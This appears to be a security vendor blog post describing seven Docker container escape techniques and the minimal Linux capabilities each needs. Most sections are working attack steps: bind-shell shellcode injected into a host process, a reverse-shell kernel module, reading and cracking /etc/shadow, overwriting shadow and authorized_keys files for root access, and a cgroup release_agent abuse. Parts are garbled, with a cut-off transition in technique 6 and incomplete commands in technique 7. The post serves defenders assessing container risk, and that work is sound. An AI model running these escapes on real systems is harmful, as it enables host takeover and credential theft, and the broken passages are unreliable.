7 Ways to Escape a Container

Ori Abargil
Monday, Aug 28th, 2023

Opening

In today's modern environment, where containers have become the go-to solution for application deployments, the security of these containers has emerged as a critical concern. In fact, containers have become the primary attack surface in many scenarios. In this post, we will delve into container escapes, exploring seven common techniques that can be used to breach container boundaries. For each escape technique, we will emphasize the specific configuration of a vulnerable container that makes it susceptible to the escape technique, and outline the minimal capabilities required inside the container to execute the escape. This knowledge will allow you to evaluate whether a container is suitable for executing an escape and select the most effective protective measures accordingly. By understanding these essential requirements, you can effectively evaluate the security posture of your containers and take necessary precautions to mitigate potential risks.

In this post we will assume some basic understanding of Linux and Docker. If you are not familiar with Linux capabilities and containers, you can read **this < https://securitylabs.datadoghq.com/articles/container-security-fundamentals-part-1/>** 3-part post by Datadog that explains important concepts.

Container Escape Techniques

The container escape techniques described in this post are already known. This post highlights the minimal required Linux capabilities within the container and its setup to execute the escape.

The table below shows what the minimal required Linux capabilities are in each escape technique.

ID	Techniques Name	Minimal Linux Capabilities
1	Mount the host filesystem	SYS_ADMIN
2	Use a mounted docker socket	No capability is required
3	Process Injection	SYS_PTRACE
4	Adding a malicious kernel module	SYS_MODULE
5	Reading secrets from the host	DAC_READ_SEARCH
6	Overriding files on host	DAC_READ_SEARCH, DAC_OVERRIDE
7	Abusing notify on release	SYS_ADMIN, DAC_OVERRIDE

Before we delve into the different techniques to escape a container, we would like to highlight few important notes:

1. When running a container in docker without an explicit network, the container will use the default bridge network that docker sets up automatically. The default IP gateway of this network is usually 172.17.0.1, and it is the host IP. You will use this IP address to connect to the host in some of the container escape techniques presented in this post.
2. For each one of the container escape techniques, we will present the minimal required Linux capabilities to perform the escape steps. In some containers, additional Linux capabilities might be required to use apt to install the tools that are used in the escape commands. If the tools are already installed, the following additional Linux capabilities are not essential for the escape commands:
    1. SETGID
    2. SETUID
    3. CHOWN
    4. FOWNER
    5. DAC_OVERRIDE*
        * In escape techniques number 6, 7 DAC_OVERRIDE capability is required for the escape commands.
3. When a container is created, it has a set of default Linux capabilities. In each container escape technique, we will show how to create such vulnerable **container**. During the creation, we will explicitly remove all Linux capabilities except for the minimal required ones. To create a container that will also allow the installation of additional tools (using apt), update the --cap-add flag to include the following Linux capabilities in addition to the minimal required ones:

```
--cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER --cap-add=DAC_OVERRIDE --cap-add=<CAPABILITY>
```

Click to copy

1. Mount the host filesystem

Escape description

This technique enables escape from a container by mounting the host filesystem.

Vulnerable container requirements

- Minimal required Linux capabilities: SYS_ADMIN.
  SYS_ADMIN capability allows to execute the *'mount'* command.

Commands to setup a vulnerable container

```
docker run -it --cap-drop=ALL --cap-add=SYS_ADMIN --security-opt apparmor=unconfined --
device=/dev/:/ ubuntu bash
```

▶ Click for extra capabilities command

Note: AppArmor protection disables *'mount'* operation even if the SYS_ADMIN capability is assigned to container process. Thus, we disable AppArmor during a vulnerable container creation.

TIP: You can see which AppArmor profile, if any, applies to container's process by inspecting the '/proc/$$/attr/current' file.

Commands to escape the container

```
mount /dev/<DEVICE-FILE> /mnt
ls /mnt
```

2. Use a mounted docker socket

Escape description

Docker daemon is the process that manages containers on the host and listens for Docker API requests via the Docker socket. If the Docker socket is mounted in the container, it allows to communicate with Docker daemon from within the container.

Vulnerable container requirements

- Minimal required Linux capabilities: No capability is required.
- Required container setup:
  - The Docker socket should be mounted in the container. The Docker socket will usually be located at /run/docker.sock on the host.
  - The container should have a way to communicate with the Docker daemon using the Docker socket. We will show how to use Docker CLI to do so.

```
# docker install: https://docs.docker.com/engine/install/ubuntu/
```

Commands to setup a vulnerable container

```
docker run -it --cap-drop=ALL -v /var/run/docker.sock:/run/docker.sock ubuntu bash
```

▶ Click for extra capabilities command

Commands to escape the container

Create a privilege container with host filesystem mounted inside the container.

```
docker run -it --privileged -v /:/host/ ubuntu bash -c "chroot /host/"
```

In the command above we create a new privileged container that mounts the host files system and uses it to escape from the first container to the host.

3. Process Injection

Escape description

Process injection allows one process to write into the memory space of another process and execute a shellcode. To inject a shellcode to a process in the host, the container must have 2 things:

1. The container's process must have the SYS_PTRACE Linux capability.
2. The container's host must share its process namespace with the container.

The inject operation can fail and could lead to unwanted behavior. Therefore, to avoid such a situation, in the escape technique we will use a Python http server that runs on the host as the target process and inject a shellcode into its memory.

Vulnerable container and host requirements

- Minimal required Linux capabilities: SYS_PTRACE.
  SYS_PTRACE capability allows to execute the *'ptrace'* system call.
- Required container setup:
  - The container's host should map its process namespace to the container.
    TIP: you can validate which Linux namespaces are shared between the host and the container by executing *'lsns'* command on both.
  - The following tools should be installed within the container:

```
apt install vim # or any other editor
apt install gcc
apt install net-tools
apt install netcat
```

- Required container's host setup:
  The container's host should run a Python http server:

```
/usr/bin/python3 -m http.server 8080 &
```

Commands to setup a vulnerable container

```
docker run -it --pid=host --cap-drop=ALL --cap-add=SYS_PTRACE --security-opt
apparmor=unconfined ubuntu bash
```

▶ Click for extra capabilities command

In this technique we use this **infect.c < https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c>** code (by 0x00pf) to create an injector. We have also replaced the shellcode (lines 36-39) with the following shell code taken from **https://www.exploit-db.com/exploits/41128 < https://www.exploit-db.com/exploits/41128>** and changed the 'SHELLCODE_SIZE' (line 33) to 87.

" \x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

Use the commands bellow to escape the container:

```
# List process that runs on the host and container.
ps -eaf | grep "/usr/bin/python3 -m http.server 8080" | head -n 1
# Copy and paste the payload from inject.c
vim inject.c
gcc -o inject inject.c
# Inject the shellcode payload that will open a listener over port 5600
./inject <PID>
# Bind over port 5600
nc <HOST-IP> 5600
```

4. Adding a malicious kernel module

Escape description

Linux containers share the same operating system kernel but are isolated in their container process from the rest of the system. A container that has the S**YS_MODULE** capability can load and unload kernel modules into the shared kernel. In this container escape technique, we will create a module in the container that will open a reverse shell from the host. Next, we will utilize the SYS_MODULE capability to add this module as a kernel module.

Vulnerable container requirements

- Minimal required Linux capabilities: SYS_MODULE.
  SYS_MODULE capability allows to execute the *'insmod'* system call.
- Required container setup:
  - The escape requires installing kernel headers matching the host operating system release.
  - The containers should have the following tools installed:

```
apt install make
apt install -y vim # or any other editor
apt install -y netcat
apt install -y gcc
# Container should run with the same operating system version as the host.
# Get the kernel version by 'uname -r'
version=$(uname -r)
apt install -y linux-headers-$version
apt install -y kmod
apt install net-tools
```

Commands to setup a vulnerable container

```
docker run -it --cap-drop=ALL --cap-add=SYS_MODULE ubuntu:<HOST-OS-VERDION> bash
```

▶ Click for extra capabilities command

Commands to escape the container

In this technique we use this **reverse-shell.c < https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-capabilities.md#cap_sys_module>** code to create the malicious kernel module. We will change the IP in the reverse shell to the IP of the container. We also use the **Makefile < https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-capabilities.md#cap_sys_module>** from there.

```
# Get the IP address of the container
ifconfig
# Copy the revese-shell.c and update the IP address in the code with the IP of the
container
vim reverse-shell.c
# Copy the Makefile
vim Makefile
make
nc -lnvp 4444 &
# Inject the module into the kernel's host
insmod reverse-shell.ko
fg %<JOB-ID>
```

5. Reading secrets from the host

Escape description

The DAC_READ_SEARCH capability allows to bypass file or directory read permission checks and use the *'open_by_handle_at'* system call to read it. This system call allows to traverse the entire host's filesystem. In this container escape technique, we will execute code that reads /etc/passwd and /etc/sahdow files from the host, using the *'open_by_handle_at'* system call, and save their content in the container. Next, we will use '**John the Ripper < https://www.openwall.com/john/>** ' password cracker to obtain host users' passwords which can be used for SSH connection to the host.

DAC_READ_SEARCH capability allows to execute the *open_by_handle_at* system call.

- Required container setup:
  The container should have the following tools installed:

```
apt install -y vim # or any other editor
apt install -y ssh
apt install -y gcc
apt install john -y # John the Ripper password cracker package
apt install net-tools
apt install -y netcat
```

- Required container's host setup:
  The container's host should have:
  - At least one user with a valid password.
  - openssh-server package installed.

```
sudo apt install openssh-server
```

Commands to setup a vulnerable container

```
sudo docker run -it --cap-drop=ALL --cap-add=DAC_READ_SEARCH ubuntu bash
```

▶ Click for extra capabilities command

Commands to escape the container

In this technique we use the **shocker.c < https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-capabilities.md#cap_dac_read_search>** exploit to read the files from the host.

```
# Copy the shocker.c content
vim shocker.c
gcc -o shocker shocker.c
# Use the shocker to read files from host:./shocker /host/path /container/path
./shocker /etc/passwd passwd
./shocker /etc/shadow shadow
# Combine passwd and shadow files
unshadow passwd shadow > password
# Use John the Ripper to crack passwords
john password
# Connect to the host with the John the ripper's output credentials
ssh <USER-NAME>@<HOST-IP>
password: <password from john's output>
```

6. Overriding files on host

Escape description

The DAC_OVERRIDE capability allows to bypass read, **write and execute** permissions checks. Container that runs with DAC_READ_SEARCH and DAC_OVERRIDE capabilities can read and write files on the host filesystem. In this escape, we will use these capabilities to update user's credential files on the host, and later login to the host with the updated credentials.

In this container escape technique, we will present 2 options:

1. Update user's login password by overriding /etc/shadow and /etc/passwd files on the host.
2. Update user's SSH authorized keys by overriding ~/.ssh/authorized_keys file on the host with a generated SSH public key that we own its private key.

Vulnerable container and host requirements

- Minimal required Linux capabilities: DAC_READ_SEARCH, DAC_OVERRIDE.
  DAC_READ_SEARCH capability allows to read files from the container's host, and DAC_OVERRIDE capability allows to write files on the container's host.
- Required container setup:
  The container should have the following tools installed:

```
apt install -y vim # or any other editor
apt install -y ssh
apt install -y gcc
```

- Required container's host setup:
  The container's host should have the openssh-server package installed.

```
sudo apt install openssh-server
```

Commands to setup a vulnerable container

Option 1 - override user's password:

```
docker run -it --cap-drop=ALL --cap-add=DAC_OVERRIDE --cap-add=DAC_READ_SEARCH --cap-add=CHOWN ubuntu bash
```

▶ Click for extra capabilities command

Note: The CHOWN capability is needed to create a new user.

Option 2 - override user's authorized keys:

```
docker run -it --cap-drop=ALL --cap-add=DAC_OVERRIDE --cap-add=DAC_READ_SEARCH ubuntu bash
```

▶ Click for extra capabilities command

< https://www.panoptica.app/?__hstc=753710.59f9df3206[illegible]exploit_code&__hsc=753710.1.1753201626154&__hsfp=3246212229>

technique and the shocker_write.c < https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-capabilities.md#cap_dac_override> to write files to the host.

Option 1 - override user's password:

```
# Copy and paste the shocker.c content
vim shocker.c
gcc -o read shocker.c
# Copy and paste the shocker_write.c content
vim shocker_write.c
gcc -o write shocker_write.c
# Use the ./read to read files from host: ./read /host/path /container/path
./read /etc/shadow shadow
./read /etc/passwd passwd
# Create new user and reset its password
useradd <USER-NAME>
echo '<USER-NAME>:<PASSWORD>' | chpasswd
# Update the new user details in the copied files from host
tail -1 /etc/passwd >> passwd
tail -1 /etc/shadow >> shadow
# Copy the new user password hash paste it also for the root user in the shadow file.
This will allow us to elevate permissions on the host.
vim shadow
# Use the ./write to write files from host: ./write /host/path /container/path
./write /etc/passwd passwd
./write /etc/shadow shadow
# Connect to host over ssh using the new user (unprivileged)
ssh <USER>@<HOST-IP>
# Elevate privileges to root user with the new password
su
```

Note: we chose to escape using the new unprivileged user and later elevate the permissions to root on the host, to include cases where the "PermitRootLogin" option is set to "no" in the sshd_config file.

Option 2 - override user's authorized keys:

```
# Generate new ssh key
ssh-keygen
# Copy and paste the shocker.c content
vim shocker.c
gcc -o read shocker.c
# Copy and paste the shocker_write.c content
vim shocker_write.c
gcc -o write shocker_write.c
# Use the ./read to read files from host: ./read /host/path /container/path
./read ~/.ssh/authorized_keys authorized_keys
# Copy the new ssh public key
# Remove the 'authorized_keys' content and paste the public key
vim authorized_keys
# Use the ./write to write files from host: ./write /host/path
./write ~/.ssh/authorized_keys authorized_keys
# Connect to host over ssh
ssh -i <PRIVATE-KEY> <USER>@<HOST-IP>
```

7. Abusing notify on release

Escape description

Cgroups (control groups) **is** a kernel feature that allows for resource allocation and management in Linux systems. Cgroups are virtual filesystems that contain some files which describe the cgroups and their limits. Cgroups version 1 includes the file 'notify_on_release' that can contain 1 or 0. If the 'notify_on_relesae' is enabled (contains 1), when the last task in the cgroup leaves, the kernel executes the command specified in 'release_agent' file. In the next technique, inspired by Felix Wilhelm < https://twitter.com/_fel1x/status/1151487051986087936?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1151487053370187776%7Ctwgr%5E08f2ef3f9e69e5351223327ef9c1639cd97c4f89%7Ctwcon%5Es2_&ref_url=https%3A%2F%2Fblog.trailofbits.com%2F2019%2F07%2F19%2Funderstanding-docker-container-escapes%2F>, we will use this functionality to execute arbitrary commands on the host.

Vulnerable Container and host requirements

- Minimal required Linux capabilities: SYS_ADMIN, DAC_OVERRIDE.
  SYS_ADMIN capability allows to execute the *'mount'* command and DAC_OVERRIDE capability allows to write files on the container's host.
- Required container's host setup:
  The container's host should have kernel version that uses cgroups version 1.

TIP: you can check the container's host cgroups version by executing the following command:

```
mount | grep '^cgroup' | awk '{print $5}' | uniq
```

Commands to setup a vulnerable container

```
docker run -it --cap-drop=ALL --cap-add=SYS_ADMIN --cap-add=DAC_OVERRIDE --security-opt
apparmor=unconfined ubuntu:16.04 bash
```

▶ Click for extra capabilities command

Note: AppArmor protection disables *'mount'* operation even if the SYS_ADMIN capability is assigned to container process. Thus, we disable AppArmor during a vulnerable container creation.

TIP: You can see which AppArmor profile, if any, applies to container's process by inspecting the '/proc/$$/attr/current' file.

Commands to escape the container

```
# Enable the notify_on_release flag
echo 1 > /tmp/cgrp/x/notify_on_release
# Define host_path parameter with the container path on host
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# Define path in release_agent which execute when all a cgroup tasks are done.
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
```

Conclusion

In today's ever-evolving digital landscape, container escapes continue to pose a significant threat to container security. As containers have become the preferred choice for application deployments, it is crucial to stay informed about the various techniques used to breach container boundaries.

Through this post, we have delved into seven common container escape techniques, shedding light on the essential configurations and minimal Linux capabilities required for each method. By providing this knowledge, we empower container operators to assess the vulnerability of their containers and determine the most effective protective measures. Remember, container escapes can allow unauthorized access and compromise the integrity of applications and systems. By understanding and addressing these risks, we can fortify our container environments and ensure the security and reliability of our applications.

< https://www.panoptica.app/?
__hstc=753710.59f9df32061a17e3a70c86b4f2f7e6c2.1753291626154.1753291626154.1753291626154.1&__hssc=753710.1.1753291626154&__hsfp=3246212229>

https://www.panoptica.app/solutions/code-ci-cd-security?
__hstc=753710.59f9df32061a17e3a70c86b4f2f7e6c2.1753291626154.1753291626154.1753291626154.1&__hssc=753710.1.1753291626154&__hsfp=3246212229>

Cloud Workload Protection <
https://www.panoptica.app/solutions/cloud-workload-protection?
__hstc=753710.59f9df32061a17e3a70c86b4f2f7e6c2.1753291626154.1753291626154.1753291626154.1&__hssc=753710.1.1753291626154&__hsfp=3246212229>

Attack-Path Analysis < https://www.panoptica.app/solutions/attack-path-analysis?
__hstc=753710.59f9df32061a17e3a70c86b4f2f7e6c2.1753291626154.1753291626154.1753291626154.1&__hssc=753710.1.1753291626154&__hsfp=3246212229>

Cloud Security Posture Management <
https://www.panoptica.app/solutions/cloud-security-posture-management?
__hstc=753710.59f9df32061a17e3a70c86b4f2f7e6c2.1753291626154.1753291626154.1753291626154.1&__hssc=753710.1.1753291626154&__hsfp=3246212229>

API Security < https://www.panoptica.app/solutions/application-api-security?
__hstc=753710.59f9df32061a17e3a70c86b4f2f7e6c2.1753291626154.1753291626154.1753291626154.1&__hssc=753710.1.1753291626154&__hsfp=3246212229>

Data Security Posture Management (DSPM) <
https://www.panoptica.app/solutions/cloud-native-application-security-solution?
__hstc=753710.59f9df32061a17e3a70c86b4f2f7e6c2.1753291626154.1753291626154.1753291626154.1&__hssc=753710.1.1753291626154&__hsfp=3246212229#dspm>

GenAI Solutions < https://www.panoptica.app/solutions/cloud-native-application-security-solution?
__hstc=753710.59f9df32061a17e3a70c86b4f2f7e6c2.1753291626154.1753291626154.1753291626154.1&__hssc=753710.1.1753291626154&__hsfp=3246212229#genai>

tabname=events&__hstc=753710.59f9df32061a17e3a70c86b4f2f7e6c2.1753291626154.1753291626154.1753291626154.1&__hssc=753710.1.1753291626154&__hsfp=3246212229>

Documentation < https://docs.panoptica.app/?
__hstc=753710.59f9df32061a17e3a70c86b4f2f7e6c2.1753291626154.1753291626154.1753291626154.1&__hssc=753710.1.1753291626154&__hsfp=3246212229>

eBooks and Whitepapers < https://www.panoptica.app/resources?
tabname=ebooks&__hstc=753710.59f9df32061a17e3a70c86b4f2f7e6c2.1753291626154.1753291626154.1753291626154.1&__hssc=753710.1.1753291626154&__hsfp=3246212229>

Academy < https://academy.panoptica.app/?
__hstc=753710.59f9df32061a17e3a70c86b4f2f7e6c2.1753291626154.1753291626154.1753291626154.1&__hssc=753710.1.1753291626154&__hsfp=3246212229>

FAQ < https://www.panoptica.app/resources/faq?
__hstc=753710.59f9df32061a17e3a70c86b4f2f7e6c2.1753291626154.1753291626154.1753291626154.1&__hssc=753710.1.1753291626154&__hsfp=3246212229>

API Spec Evaluator < https://www.panoptica.app/tools/api-spec?
__hstc=753710.59f9df32061a17e3a70c86b4f2f7e6c2.1753291626154.1753291626154.1753291626154.1&__hssc=753710.1.1753291626154&__hsfp=3246212229>